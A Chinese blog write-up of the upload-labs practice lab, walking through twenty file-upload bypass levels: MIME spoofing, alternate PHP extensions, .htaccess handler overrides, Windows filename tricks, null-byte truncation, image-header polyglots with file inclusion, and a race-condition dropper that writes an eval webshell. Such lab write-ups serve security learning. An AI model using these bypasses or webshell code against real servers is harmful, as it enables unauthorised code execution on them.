upload-labs writeup

其它的writeup

https://github.com/LandGrey/upload-labs-writeup

https://cloud.tencent.com/developer/article/1377897

https://www.360zhijia.com/anquan/442566.html

upload-labs安装

下载地址:https://github.com/c0ny1/upload-labs

准备

  • 下载后将整个文件放入phpstudy目录下即可

  • 在项目的更目录下新建文件夹upload

  • 上传的文件名不要是中文名,否则会出现上传错误

pass-1

操作

  • 准备一句话木马为

  • 上传一句话木马出现1.php弹出

  • 查看javascript存在前端过滤,也能看到相应代码

  • 直接删除,上传,上传成功

  • 如果我们知道上传文件的完整路径(这里可以直接查看图片获得路径),就可以通过蚁剑或菜刀连接

原理

  • 只是通过前端js来验证文件类型,将js禁用即可绕过

pass-2

操作

  • 同一,把过滤函数删除,用bp截断,上传php,将content-type值改为image/png,上传成功

原理

  • 从源代码可以看到通过MIME-TYPE进行过滤,首先通过$_FILES['upload_file']['type']得到上传的MIME-TYPE,然后和image/png,image/jpeg进行比较

  • mime是多用途互联网邮件扩展类型,用于设定某扩展名文件的打开方式,如.png在数据包的中的content-type为image/png

  • $_FILES是一个全局变量数组,各个值的含义为

$_FILES['myFile']['name'] 上传文件的原名称
$_FILES['myFile']['type'] 文件的 MIME 类型
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定
$_FILES['myFile']['error'] 和该文件上传相关的错误代码

pass-3

操作

将后缀名改为.php5,成功

原理

  • 从源代码看,系统利用trim()删除了文件两侧空格,利用deldot()删除文件名末尾的点,利用strtolower()将文件名转换为小写,利用str_ireplace()去除字符串::$DATA。

  • 但是只是利用黑名单$deny_ext = array('.asp','.aspx','.php','.jsp');禁止上传后缀为php等的文件

  • 所以可以利用apache的解析特性:它将.php3,.php5,.phtml等都可以解析为php

pass-4

操作

  • 首先上传文件.htaccess,内容为 "aaa" stehandler application/x-httpd-php

  • 接着上传将先前的文件aaa.php改为aaa.jpg,上传成功,并可以使用蚁剑连接

原理

  • 查看源码,和三类似,但它的黑名单为 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");但是并没有禁止.htaccess

  • .htaccess是apache服务器中的一个配置文件,可以实现301重定向,自定义404错误页面,改变文件扩展名,阻止或允许用户访问特定目录或文件等

  • 如果服务器的httpd.conf文件中的allowoverride设置为all,该文件可以使得目录下的所有文件都以php执行。这里.htaccess的内容可以使任何以aaa为文件名的文件以php解析执行

pass-5

操作

  • 采用大小写绕过,上传1.PHP

原理

  • 查看源码,发现它的黑名单没有过滤大小写,或利用strtolower()将文件名转换为小写,所以可以利用大小写绕过

pass-6

操作

  • 采用空格绕过,利用bp截断,在文件名后添加空格

原理

  • 查看源码,没有对文件名的空格去除

  • windows中文件扩展名后的空格会做空处理,但是文件名后加空格使得本来的扩展名改变,绕过黑名单

pass-7

操作

  • 采用.绕过,利用bp截断,在文件名后加.

原理

  • 查看源码,没有去除文件名后的点

  • windows下最后一个.会被自动剔除

pass-8

操作

  • 采用::$DATA,利用bp截断,在文件名后加 ::$DATA

原理

  • windows下,如果上传的文件名后缀为php::$DATA会在服务器生成后缀为Php的文件,内容和上传内容相同,并被解析

pass-9

操作

  • 利用bp截断,在文件名后加. .(点,空格,点)

原理

  • 查看源码,首先利用trim去除末尾空格,又l利用deldot去除末尾点,又去除空格,所以组合点空格点,去除点去除空格,最后剩下点自动剔除

pass-10

操作

  • 利用bp截断,将文件后缀改为.phphpp

原理

  • 查看源码,其中出现了$file_name = str_ireplace($deny_ext,"", $file_name);这一函数,它将上传文件与黑名单的后缀名相同的都用空替换,所以可以双写绕过phphpp中的php被替换为空后剩下php

pass-11

操作

  • 利用00截断,首先将phpstudy的php版本切换到php5.3以下

  • 再将php.ini的magic_quotes_gpc改为off

  • 利用bp截断,在保存文件路径处添加11.php%00

原理

  • 截断漏洞,在系统对文件名读取时,如果遇到0x00会认为读取结束,如:1.php0x00.jpg在上传时认为是jpg,但在新建该文件文件时保存为1.php 。但在php5.3之后的版本已经修复,并且受gpc,addslashes函数影响

  • 查看源码发现,最后保存文件时是将get得到的路径与随机数年月日和上传文件名拼接到一起,所以上传文件路径可控,我们将get的路径最后改为1.php0x00那么拼接到后面的内容就会被丢弃,从而保存为1.php

pass-12

操作

  • 利用00截断,现在此处文件名后面添加一个空格,为了便于寻找,然后打开hex,将此处的20改为00

原理

  • 与十一相同

pass-13

操作

方法一

  • 上传图片webshell,利用文件包含漏洞

  • 编写文件13.jpg,内容为GIF98A上传

  • 点击图片查看上传后图片的位置名字

  • 点击此处,利用文件上传漏洞

  • 但是我这出现了个问题

  • 所以我回到phpstudy把这个include.php拷贝到文件上传的目录upload,然后找到这个页面

  • 我们查看这个代码,发现他是利用get得到文件参数,然后利用include进行文件包含,所以url处构造?file=刚才查看上传的文件名

原理

  • 查看源码,它是通过判断文件的前两个字节,来判断是否是png等图片,所以在上传的php文件前加入GIF98A即会被判断为Gif文件

  • 文件包含:在php中使用include,include_once,require,require_once函数包含的文件无论文件名称是什么都会被当做php代码执行

方法二

  • 利用图片隐写的方式,将木马拼接到图片图片结束符FFD9之后,通常会忽略文件结束符之后的数据。

  • 可以利用命令copy /b 1.jpg +1.php 2.jpg得到,其中1.jpg为载体文件,1.php为包含木马的文件,2.jpg为得到的文件

pass-14

  • 同上

pass-15

  • 需要打开配置php.ini中的php_exif模块

  • 同上

pass-16

  • 在此处写入了phpinfo()

  • 查看上传处的图片,该语句保持不变

pass-17

操作

  • 利用竞争条件上传,上传文件,文件内容为
<?php
fputs(fopen('shell.php',w),'<?php @eval($_post["pass"]) ?>');
?>
  • 上传文件的同时,利用脚本不断访问该文件
import requests 
while 1:    
    requests.get("http://192.168.89.130/upload-labs/upload/15.php")
  • 最后上传目录下会生成shell.php文件,内容为

原理

  • 查看源码,文件先通过move_uploaded_file进行保存,然后用in_array判断文件是否为图片类型,如果是就用rename进行重命名,如果不是,则使用unlink删除文件。所以可以利用这个时间差,当文件保存后,就不断访问该文件,使得它又生成一个shell.php,之后即使上传文件已经删除,shell.php仍然存在。

pass-18

不知为啥,这一关总是无法成功

pass-19

  • 可以将保存名称后缀设置为. .,同六

  • 可以设置为.

  • 可以大写绕过

pass-20

操作

  • 利用bp截断,上传20.jpg

  • 将post提交的数据包改为

原理

  • 将源码复制到下面,利用注释进行分析
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){//这一步是检查上传的文件是否为规定的类型
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//如果通过post传递的参数save_name为空,$file就为上传文件本来的名字的值,否则为post传递的save_name的值
        if (!is_array($file)) {//因为我们都是填写了保存名称,即用post传递了save_name的值,所以这里判断我们填写的保存名称是否为一个数组
            $file = explode('.', strtolower($file));//不是一个数组就利用.对文件名进行分割
        }

        $ext = end($file);//数组最后一个值即文件后缀名给$ext
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {//再一次进行判断是否为允许上传的类型
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];//将数组count($file)-1的值给了$file_name,最后拼接到数组第一个元素后后,reset()为将读取数组第一个元素
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

  • 通过以上分析,可以知道,它用end()读取最后数组最后一个值来进行过滤,又将\(file[count(\)file) - 1]的值拼接到数组第一个元素后后,所以可以上传save_name为一个数组,数组第一个元素为*.php,第二个元素为空,第三个元素为jpg。此时利用jpg通过判断,将空拼接到.php后文件仍为.php

最后

posted @ 2019-08-04 10:50  启林O_o  阅读(1611)  评论(4编辑  收藏  举报